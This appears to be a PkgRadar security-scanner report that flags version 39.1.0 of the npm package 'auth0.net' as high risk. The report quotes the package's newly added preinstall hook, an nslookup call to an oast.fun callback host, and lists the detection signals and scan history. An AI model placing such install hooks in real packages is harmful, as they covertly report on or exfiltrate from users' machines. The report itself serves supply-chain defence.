PkgRadar

npm · registry.npmjs.org

auth0.net

DNS / OAST exfiltration: matched "oast.fun"

Why PkgRadar flagged 39.1.0

SeveritySignalEvidence
highNew Lifecycle Script Vs Previouspreinstall added in 39.1.0 vs 1.0.1: "nslookup bkxajsfkvlurhaoeotqbqf3fg2sitbxll.oast.fun" · package.json
highDNS / OAST exfiltrationmatched "oast.fun" · package/package.json
highInstall Lifecycle Dns Or Oastpreinstall="nslookup bkxajsfkvlurhaoeotqbqf3fg2sitbxll.oast.fun" · package.json
highNew Account With Lifecycle Hookpackage first published 18 day(s) ago, 2 total version(s), has lifecycle hook · package.json

Scanned versions

VersionVerdictScoreScanned (UTC)
39.1.0High risk1052026-06-12
1.0.1Low risk02026-05-25

Block this in CI

PkgRadar gates auth0.net (and every other dependency) before it merges. One line in your pipeline:

pkgradar gate --ecosystem npm [email protected]